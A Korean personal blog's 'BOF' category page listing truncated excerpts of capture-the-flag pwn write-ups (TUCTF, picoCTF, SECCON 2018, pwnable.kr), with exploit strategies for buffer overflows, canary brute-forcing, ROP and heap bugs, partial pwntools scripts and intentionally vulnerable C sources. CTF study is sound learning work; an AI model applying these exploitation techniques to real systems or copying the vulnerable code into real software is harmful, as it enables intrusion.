일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- rev
- shellcraft
- Reverse
- Toddler's Bottle
- Bottle
- CANARY
- Bug
- Rookiss
- picoCTF
- string
- BOF
- reversing
- pico
- TUCTF
- anti
- toddler
- PMA
- FSB
- writeup
- shellcode
- Read
- practicalmalwareanalysis
- ASM
- pwnable
- pwn
- 2018
- pwnable.kr
- format
- Leak
- CTF
- Today
- Total
목록BOF (14)
제리의 블로그
sdhsroot 2018 PWN R00T_SCHool 목차 1. 요약 2. 기초 분석 3. level1 (BOF) 4. level2 (UAF) 5. level3 (fastbin dup) 6. 익스 코드 요약3 단계로 이루어져 있는 pwnable 바이너리이고 libc.so.6 이 제공되었다. 1단계 - BOF (RET를 덮는게 아니라 지역 변수를 덮음) 2단계 - UAF (malloc size 0x40 으로 고정) 3단계 - fastbin dup (malloc size 지정할 수 있음) 기초 분석 $ sha256sum ./ROOTschool.zip ./R00T_SCHool ./libc.so.6 ab84d6961237d5c29938d42b0877f92ad6c0228cdd42b8fef0104ebfa9de09c..
TUCTF 2018 PWN Lisa 요약1-byte overflow(?) 문제이다. RET 를 1-byte 만 변조할 수 있다. strcmp(input, password); 를 만족하면 FLAG 가 주어지는 방식인데 input 은 사용자의 입력을 받는 부분이고 password(share) 는 우리가 알 수 없는 값이다. RET 를 main+0xD5 로 덮어주면 read 함수를 실행하기 바로 직전이 되는데 32 bit 바이너리의 cdecl 함수 호출 규약에 따라 스택 영역에 fd, buf, nbytes 를 공격자의 입맛대로 넣어주기만 하면 원하는 공간에 덮을 수 있다. password 의 주소는 바이너리에서 친절하게 주어졌기 때문에 password 를 덮어씌워 input 값과 똑같이만 만들면 된다. fro..
TUCTF 2018 PWN shella-hard 요약안티 디스어셈블링(?) 기법이 적용된 바이너리였다. 심볼 중에 giveShell 이라는 사용자 정의 함수가 있었다.BOF 를 통해서 RET 를 덮는 방식으로 giveShell 을 불러봤으나 쉘을 따지지 않았다.giveShell 을 자세히 보니 코드가 깨져있는것처럼 보였고살짝만 바꿔주면 execve("/bin/sh", 0, 0); 가 보인다.해당 주소로 리턴시켜주면 된다. .text:08048458 public giveShell .text:08048458 giveShell proc near .text:08048458 push ebp ; path .text:08048459 mov ebp, esp .text:0804845B nop .text:0804845B ..
TUCTF 2018 PWN shella-easy $ ./shella-easy Yeah I'll have a 0xff81fcb0 with a side of fries thanks 프로그램을 실행시켜보면 오프셋을 보여준다. int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [sp+0h] [bp-48h]@1 unsigned int v5; // [sp+40h] [bp-8h]@1 setvbuf(stdout, 0, 2, 0x14u); setvbuf(stdin, 0, 2, 0x14u); v5 = 0xCAFEBABE; printf("Yeah I'll have a %p with a side of fries thanks\n", &s)..
SECCON 2018 qualsClassic Pwn121 pt 197 Solvers 요약canary 가 없는 BOF 문제였으며fastcall 방식의 함수 호출규약을 따르기 때문에 gadget 을 모은 다음libc 주소를 leak 하고one_gadget 을 사용하여 쉘을 획득한다. leak 과 쉘 획득을 위한 공격을 동시에 하기 위해서는main 함수로 return 하도록chaining 을 통해 loop 를 만들어 준다. Description Host: classic.pwn.seccon.jp Port: 17354 classic libc-2.23.so $ sha1sum * aa9e979fd5c597526ef30c003bffee474b314e22 classic 56d992a0342a67a887b8dcaae381..
picoCTF 2018 can-you-gets-me Binary Exploitation 요약바이너리가 static compile 되어있어서 ROP gadget 모으기 수월하다.입력받는 함수는 gets로 입력 길이 제한이 없다. DescriptionCan you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40 on the shell server. Source. 플래그를 얻..
요약4바이트 길이의 canary 값이 고정되어 있기 때문에 1바이트씩 '\x00' 부터 '\xff' 까지 넣어봐서 "stack smash" 가 뜨는지 확인하면 "4xV," 가 canary 임을 알 수 있고 이제 RET에 flag를 출력해주는 함수 elf.sym.win 로 덮어씌워주면 해결된다. from pwn import * import string import sys #context.log_level = 'error' e = ELF('./vuln') CANARY = '4xV,' CANARY_LEN = len(CANARY) print(CANARY_LEN) len = 32 + CANARY_LEN + 0x10 + 4 #for c in range(0x100): p = process('./vuln') p.rec..
programSource #include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please con..
요약이 문제는 c 라이브러리의 rand() 함수의 seed 값을 BOF 를 이용하여 덮어씌우고100개의 rand() 값을 맞추는 문제입니다. 입력받은 name 을 strcpy 로 스택영역에 복사하는데입력 길이 제한이 없기 때문에 overflow 하여 seed 값으로 이용되는 지역변수를 덮어씌워줍니다. 그 후부터는 seed 값을 알게된 셈이므로rand() 값을 100번 인증하면 됩니다. writeup lucky_exploit# nc 167.99.143.206 65031 Hello, there! What is your name? j3rrry I am glad to know you, j3rrry! If you guess the next 100 random numbers I shall give you the f..
bof - 5 pt Nana told me that buffer overflow is one of the most common software vulnerability. Is that true? Download : http://pwnable.kr/bin/bof Download : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf..